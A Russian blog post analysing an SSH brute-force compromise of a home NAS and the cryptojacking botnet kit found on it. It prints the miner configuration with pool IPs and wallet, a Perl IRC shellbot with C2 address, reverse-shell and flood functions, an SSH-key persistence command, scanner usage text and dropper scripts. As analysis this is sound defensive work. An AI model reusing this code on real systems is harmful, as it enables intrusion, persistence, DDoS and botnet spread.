Сегодня мой внешний IP был заблокирован в сервисе IVI с сообщением
Ваш ip-адрес идентифицируется как анонимный.
Пожалуйста, обратитесь к своему интернет-провайдеру. IP адрес <IP>.
Данные предоставлены maxmind.com
Что это значит?
В базе знаний IVI существует информация об ошибке 4530, пояснение которой, гласит, что на IP адресе детектирован VPN или открытый прокси. Но ничего подобного я сознательно не устанавливал. Мне стало понятно, что мой роутер или NAS, который я недавно добавил в сеть, участвуют в каких-то непристойностях.
Дисклеймер
Материалы, приведенные ниже, несут исключительно научно-исследовательский характер. Данное исследование проводилось автором исключительно в научно-исследовательских целях, его результаты не являются и не могут признаваться руководством к совершению каких-либо противоправных действий. При проведении исследования автор действовал в рамках законодательства Российской Федерации. Использование результатов исследования допускается исключительно в научно-ознакомительных целях. Использование результатов исследования для достижения противоправного или любого иного от научной деятельности результата может повлечь за собой уголовную, административную и (или) гражданско-правовую ответственность. Автор не несет ответственность за инциденты в сфере информационной безопасности, имеющие отношение к тематике исследования.
Разбираемся что же произошло
Проанализировав конфигурацию и логи роутера, я убедился что он чист, а мой NAS стоит в режиме DMZ. Я зашел на NAS и первым делом посмотрел стоит ли на нем fail2ban и активирован ли ufw. Ни того ни другого я не обнаружил, а auth.log
был внушительного размера. Похоже, вектором атаки стал брутфорс пароля пользователя через ssh.
Запустив grep -in Accept /var/log/auth.log
я увидел следующее
98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2
Злоумышленник успешно вошел под пользователем timemachine c IP адреса 46.101.149.19 во франкфурте. Примечательно, что строка попалась в логе всего один раз, почти неделю назад. Однако. Продолжаем исследования. Вызов
ps -aux | grep timema
timemac+ 3512 123 13.3 302904 267484 ? Ssl Dec25 4728:49 ./cron
timemac+ 3590 0.0 0.1 12884 3232 ? S Dec25 0:00 /bin/bash ./go
timemac+ 17476 0.0 0.0 11740 924 ? S 13:47 0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17477 0.0 0.1 12884 3036 ? S 13:47 0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17482 112 2.4 3500784 49616 ? Sl 13:47 146:11 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301
timemac+ 23184 0.0 0.3 76764 7288 ? Ss Dec23 0:00 /lib/systemd/systemd --user
timemac+ 23185 0.0 0.1 206708 2204 ? S Dec23 0:00 (sd-pam)
timemac+ 24436 0.0 0.3 27412 6672 ? S Dec24 1:49 rsync
timemac+ 3512 123 13.3 302904 267484 ? Ssl Dec25 4728:51 ./cron
timemac+ 3590 0.0 0.1 12884 3232 ? S Dec25 0:00 /bin/bash ./go
timemac+ 17476 0.0 0.0 11740 924 ? S 13:47 0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17477 0.0 0.1 12884 3036 ? S 13:47 0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17482 112 2.4 3500784 49628 ? Sl 13:47 146:15 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 23184 0.0 0.3 76764 7288 ? Ss Dec23 0:00 /lib/systemd/systemd --user
timemac+ 23185 0.0 0.1 206708 2204 ? S Dec23 0:00 (sd-pam)
timemac+ 24436 0.0 0.3 27412 6672 ? S Dec24 1:49 rsync
Похоже, все пути ведут в /dev/shm/.lwp
. Посмотрим что там.
Структура малвари
/dev/shm/.lwp
├── apt.conf
├── dota3.tar.gz
├── .out
├── .rsync
│ ├── a
│ │ ├── a
│ │ ├── anacron
│ │ ├── bash.pid
│ │ ├── cron
│ │ ├── dir.dir
│ │ ├── init0
│ │ ├── .procs
│ │ ├── run
│ │ ├── stop
│ │ └── upd
│ ├── b
│ │ ├── a
│ │ ├── dir.dir
│ │ ├── run
│ │ ├── stop
│ │ └── sync
│ ├── c
│ │ ├── a
│ │ ├── aptitude
│ │ ├── b
│ │ ├── cron.d
│ │ ├── dir2.dir
│ │ ├── dir.dir
│ │ ├── go
│ │ ├── golan
│ │ ├── ip
│ │ ├── lib
│ │ │ ├── 32
│ │ │ │ ├── libc.so.6
│ │ │ │ ├── libdl.so.2
│ │ │ │ ├── libnss_dns.so.2
│ │ │ │ ├── libnss_files.so.2
│ │ │ │ ├── libpthread.so.0
│ │ │ │ ├── libresolv-2.23.so
│ │ │ │ ├── libresolv.so.2
│ │ │ │ └── tsm
│ │ │ ├── 64
│ │ │ │ ├── libc.so.6
│ │ │ │ ├── libdl.so.2
│ │ │ │ ├── libnss_dns.so.2
│ │ │ │ ├── libnss_files.so.2
│ │ │ │ ├── libpthread.so.0
│ │ │ │ ├── libresolv-2.23.so
│ │ │ │ ├── libresolv.so.2
│ │ │ │ └── tsm
│ │ │ └── arm
│ │ │ ├── libarmmem-v7l.so
│ │ │ ├── libc.so.6
│ │ │ ├── libdl.so.2
│ │ │ ├── libnss_dns.so.2
│ │ │ ├── libpthread.so.0
│ │ │ ├── libresolv.so
│ │ │ ├── libresolv.so.2
│ │ │ └── tsm
│ │ ├── n
│ │ ├── p
│ │ ├── run
│ │ ├── slow
│ │ ├── start
│ │ ├── stop
│ │ ├── tsm
│ │ ├── tsm32
│ │ ├── tsm64
│ │ ├── tsmv7
│ │ ├── v
│ │ └── watchdog
│ ├── cron.d
│ ├── dir.dir
│ ├── init
│ ├── init2
│ ├── initall
│ └── .out
└── timemachine
8 directories, 70 files
У трояна можно выделить следующие части
- Майнер криптовалюты XMRIG (.rsync/a)
- Шеллбот (.rsync/b)
- Сканер-брутфорсер (.rsync/c)
- Ланчер (.rsync/init и компания)
Майнер
Кастомная сборка XMRIG. Собран под архитектуры х86
и х64
. Вся кастомность заключается в конфиге, зашитом в бинарник. Попробуем его достать и понять на кого трудилась моя машинка. У XMRIG есть конструктор конфигов. Нащёлкаем любую простую конфигурацию. На выходе мы получаем json такого вида:
{
"autosave": true,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "sdfsdf:3333"
}
]
}
специфичным ключом для поиска выберем "pools"
. Проверим. Запустим
strings -n5 anacron | less
и поищем строку "pools".
{
"api": {
"id": null,
"worker-id": null
},
"http": {
"enabled": false,
"host": "127.0.0.1",
"port": 0,
"access-token": null,
"restricted": true
},
"autosave": true,
"version": 1,
"background": true,
"colors": true,
"randomx": {
"init": -1,
"numa": true
},
"cpu": {
"enabled": true,
"huge-pages": true,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"max-threads-hint": 100,
"asm": true,
"argon2-impl": null,
"cn/0": false,
"cn-lite/0": false
},
"opencl": {
"enabled": false,
"cache": true,
"loader": null,
"platform": "AMD",
"cn/0": false,
"cn-lite/0": false
},
"cuda": {
"enabled": false,
"loader": null,
"nvml": true,
"cn/0": false,
"cn-lite/0": false
},
"donate-level": 0,
"donate-over-proxy": 0,
"log-file": null,
"pools": [
{
"coin": "monero",
"algo": null,
"url": "debian-package.center:80",
"user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
"pass": "x",
"tls": false,
"keepalive": true,
"nicehash": true
},
{
"coin": "monero",
"algo": null,
"url": "45.9.148.125:80",
"user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
"pass": "x",
"tls": false,
"keepalive": true,
"nicehash": true
},
{
"coin": "monero",
"algo": null,
"url": "45.9.148.129:80",
"user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
"pass": "x",
"tls": false,
"keepalive": true,
"nicehash": true
}
],
"print-time": 60,
"health-print-time": 60,
"retries": 5,
"retry-pause": 5,
"syslog": false,
"user-agent": null,
"watch": true
}
Малварь майнит монеро на пулах debian-package.center
, 45.9.148.125
, 45.9.148.129
для юзера 45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ
с паролем x
доменное имя debian-package.center
резолвится в последний по списку ip 45.9.148.129
Интересной особенностью майнера является скрипт запуска a/init0
. Перед тем как запустить свою копию, он избавляется от конкурентов и процессов, которые в данный момент занимают более 60% процессорного времени. Поиск конкурентных процессов скрипт осуществляет по имени, сетевой активности и известному месторасположению других малварей. В целом, этот скрипт даже можно использовать в качестве "антивируса"
#!/bin/sh
##########################################################################################
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################
# Killing processes by name, path, arguments and CPU utilization
processes(){
killme() {
killall -9 chron-34e2fg;ps wx|awk '/34e|r/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
}
killa() {
what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
}
killa 34e2fg
killme
# Killing big CPU
VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
for word in $VAR
do
CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
done
killall .Historys
killall .sshd
killall neptune
killall xm64
killall xm32
killall xmrig
killall .xmrig
killall suppoieup
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep named| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f /usr/bin/.sshd
pkill -f acpid
pkill -f AnXqV.yam
pkill -f apaceha
pkill -f askdljlqw
pkill -f bashe
pkill -f bashf
pkill -f bashg
pkill -f bashh
pkill -f bashx
pkill -f BI5zj
pkill -f biosetjenkins
pkill -f bonn.sh
pkill -f bonns
pkill -f conn.sh
pkill -f conns
pkill -f cryptonight
pkill -f crypto-pool
pkill -f ddg.2011
pkill -f deamon
pkill -f disk_genius
pkill -f donns
pkill -f Duck.sh
pkill -f gddr
pkill -f Guard.sh
pkill -f i586
pkill -f icb5o
pkill -f ir29xc1
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbalanc1
pkill -f irqbalance
pkill -f irqbnc1
pkill -f JnKihGjn
pkill -f jweri
pkill -f kw.sh
pkill -f kworker34
pkill -f kxjd
pkill -f libapache
pkill -f Loopback
pkill -f lx26
pkill -f mgwsl
pkill -f minerd
pkill -f minergate
pkill -f minexmr
pkill -f mixnerdx
pkill -f mstxmr
pkill -f nanoWatch
pkill -f nopxi
pkill -f NXLAi
pkill -f performedl
pkill -f polkitd
pkill -f pro.sh
pkill -f pythno
pkill -f qW3xT.2
pkill -f sourplum
pkill -f stratum
pkill -f sustes
pkill -f wnTKYg
pkill -f XbashY
pkill -f XJnRj
pkill -f xmrig
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f ysaydh
pkill -f zigw
# crond
ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
while read crondpid
do
if [ $(echo $(ps -p $crondpid -o %cpu | grep -v %CPU) | sed -e 's/.[0-9]*//g') -ge 60 ]
then
kill $crondpid
rm -rf /var/tmp/v3
fi
done < /tmp/crondpid
rm /tmp/crondpid -f
# sshd
ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
while read sshdpid
do
if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v %CPU) | sed -e 's/.[0-9]*//g') -ge 60 ]
then
kill $sshdpid
fi
done < /tmp/ssdpid
rm -f /tmp/ssdpid
# syslog
ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
while read syslogpid
do
if [ $(echo $(ps -p $syslogpid -o %cpu | grep -v %CPU) | sed -e 's/.[0-9]*//g') -ge 60 ]
then
kill $syslogpid
fi
done < /tmp/syslogspid
rm /tmp/syslogspid -f
ps x | grep 'b 22'| awk '{print $1,$5}' > .procs
cat .procs | while read line
do
pid=`echo $line | awk '{print $1;}'`
name=`echo $line | awk '{print $2;}'`
#echo $pid $name
if [ $(echo $name | wc -c) -lt "13" ]
then
echo "Found" $pid $name
kill -9 $pid
fi
done
####################################################
ps x | grep 'd 22'| awk '{print $1,$5}' > .procs
cat .procs | while read line
do
pid=`echo $line | awk '{print $1;}'`
name=`echo $line | awk '{print $2;}'`
#echo $pid $name
if [ $(echo $name | wc -c) -lt "13" ]
then
echo "Found" $pid $name
kill -9 $pid
fi
done
}
# Removing miners by known path IOC
files(){
rm /tmp/.cron
rm /tmp/.main
rm /tmp/.yam* -rf
rm -f /tmp/irq
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*httpd.conf
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*index_bak*
rm -rf /tmp/.systemd-private-*
rm -rf /tmp/.xm*
rm -rf /tmp/a7b104c270
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -rf /tmp/httpd.conf
rm -rf /tmp/java*
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/xm*
rm -rf /var/tmp/java*
}
# Killing and blocking miners by network related IOC
network(){
# Kill by known ports/IPs
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}
files
processes
network
echo "DONE"
Шеллбот
Живет в .rsync/b/run
и представляет из себя закодированный в base64 и сжатый бэкдор-скрипт на perl, похожий на этот экземпляр. Он так же устанавливает ssh ключ в систему для возможности повторно незаметно восстанавливать доступ к системе.
#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "<base64>" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
my $processo = 'rsync';
$servidor='45.9.148.125' unless $servidor;
my $porta='443';
my $VERSAO = '0.2a';
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING :(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^01VERSION01$/) {
notice("$pn", "01VERSION mIRC v6.16 ENE ALIN GABRIEL01");
}
elsif ($args =~ /^01PINGs+(d+)01$/) {
notice("$pn", "01PONG01");
}
elsif (grep {$_ =~ /^Q$pnE$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
elsif ($args =~ /^(Q$meunickE|Q$prefixoE)s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^!nick/);
} elsif ($arg =~ /^@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)s+NICKs+:(S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^:(.+?)s+433/i) {
$meunick = getnick();
nick("$meunick");
} elsif ($servarg =~ m/^:(.+?)s+001s+(S+)s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","53","80","110","143","6665");
my (@aberta, %porta_banner);
....
}
elsif ($funcarg =~ /^downloads+(.*)s+(.*)/) {
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
}
elsif ($funcarg =~ /^fullportscans+(.*)s+(d+)s+(d+)/) {
my $hostname="$1";
my $portainicial = "$2";
my $portafinal = "$3";
my (@abertas, %porta_banner);
...
}
elsif ($funcarg =~ /^udps+(.*)s+(d+)s+(d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotese;
my $fim = time + $tempo;
my $pacota = 1;
...
}
elsif ($funcarg =~ /^udpfaixas+(.*)s+(d+)s+(d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $faixaip="$1";
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotes;
my $fim = time + $tempo;
my $pacota = 1;
my $alvo;
...
if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Tempo de Pacotes02: $tempo"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Total de Pacotes02: $pacotese");
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Alvo dos Pacotes02: $alvo");
}
}
elsif ($funcarg =~ /^conbacks+(.*)s+(d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
...
if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Conectando-se em02: $host:$porta");
}
}
elsif ($funcarg =~ /^oldpacks+(.*)s+(d+)s+(d+)/) {
return unless $pacotes;
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
unless ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :02 - Status -02");
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Timp02: $dtime"."secunde.");
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Total packet02: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Total bytes02: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :02Flood02: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
}
}
exit;
}
}
}
Беглый анализ скрипта показывает, что бот координируется с IRC сервера 45.9.148.125:443
. Функционал стандартный. Он может выполнять
- Произвольные Shell команды, судя по коду, в т.ч. и на Win32
- Быстрое сканирование портов "21","22","23","25","53","80","110","143","6665" произвольного хоста
- Скачивание произвольного url на компьютер жертвы
- Сканирование диапазона портов произвольного хоста
- UDP флуд с произвольной скоростью на выбранный хост
- UDP флуд с произвольной скоростью на подсеть
- Соединение по TCP с выбранным хостом
- Выполнять комбинированный флуд igmp, udp, icmp, tcp по всему диапазону портов на хосте
В скрипте так же упомянуты следующие url: http://www.minpop.com/sk12pack/idents.php
и http://www.minpop.com/sk12pack/names.php
, однако, они выглядят нерабочими.
Этого арсенала хватает, чтобы злоумышленник мог получить контроль над системой и запустить свои процессы.
Сканер-брутфорсер
Самая интересная часть малвари. Будучи запущенным, сканер виден в системе как процесс tsm
и пытается подобрать ssh пароли на следующих N хостах и заразить их. В моем случае, я обнаружил файл с 70к ip адресами и небольшой словарь типовых паролей. Сканер имеет свои рантайм библиотеки (std, openssh, dns, resolv,pthread) под архитектуры x32
, x64
, armv7
. За счет этого, зараза может веерно заражать большое количество жертв на разных архитектурах. Каждая зараженная машина становится частью ботнета и наращивает мощность сети.
Внутри исполнимого файла я нашел следующие строки
---------------------->Faster than light<-----------------------------
--------------------->use only for testing<---------------------------
Use: scan [OPTIONS] [[USER PASS]] FILE] [IPs/IPs Port FILE]
-t [NUMTHREADS]: Change the number of threads used. Default is %d
-m [MODE]: Change the way the scan works. Default is %d
-f [FINAL SCAN]: Does a final scan on found servers. Default is %d
Use -f 1 for A.B class /16. Default is 2 for A.B.C /24
-i [IP SCAN]: use -i 0 to scan ip class A.B. Default is %d
if you use -i 0 then use ./scan -p 22 -i 0 p 192.168 as agrument for ip file
-m 0 for non selective scanning
-P 0 leave default password unchanged. Changes password by default.
-s [TIMEOUT]: Change the timeout. Default is %ld
-S [2ndTIMEOUT]: Change the 2nd timeout. Default is %ld
-p [PORT]: Specify another port to connect to. 0 for multiport
-c [REMOTE-COMMAND]: Command to execute on connect. Use ; or && with commands
Use: ./scan -t 202 -s 5 -S 5 p ip -c "uname"
Use: ./scan -t 202 -s 5 -S 5 -i 0 -p 22 p 192.168
The example above will scan 192.168 port 22 and brute force the IP list.
Use: ./scan -t 202 -s 5 -S 5 -p 0 p ip - for "ip port" file
Use: ./scan -t 202 -s 5 -S 5 -p 23 -m 0 p ip - for other protocols
When using -m 1 (default value) the scan will only target full linux
machines or windows machines with openssh installed. Routers, busyboxes
honeypots and other limited linux devices will be skipped from the output.
Use -m 0 for non-selective scanning (can be used for all type of ssh devices)
this includes busyboxes, routers, honeypots and other devices with limited
commands. ================================================================
==========================================================================
#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd .rsync; cat /tmp/.X19-unix/.rsync/initall | bash 2>1&
sleep 45s && pkill -9 run && pkill -9 go && pkill -9 tsm
exit 0
#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X19-unix/.rsync/c
nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1&
exit 0
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
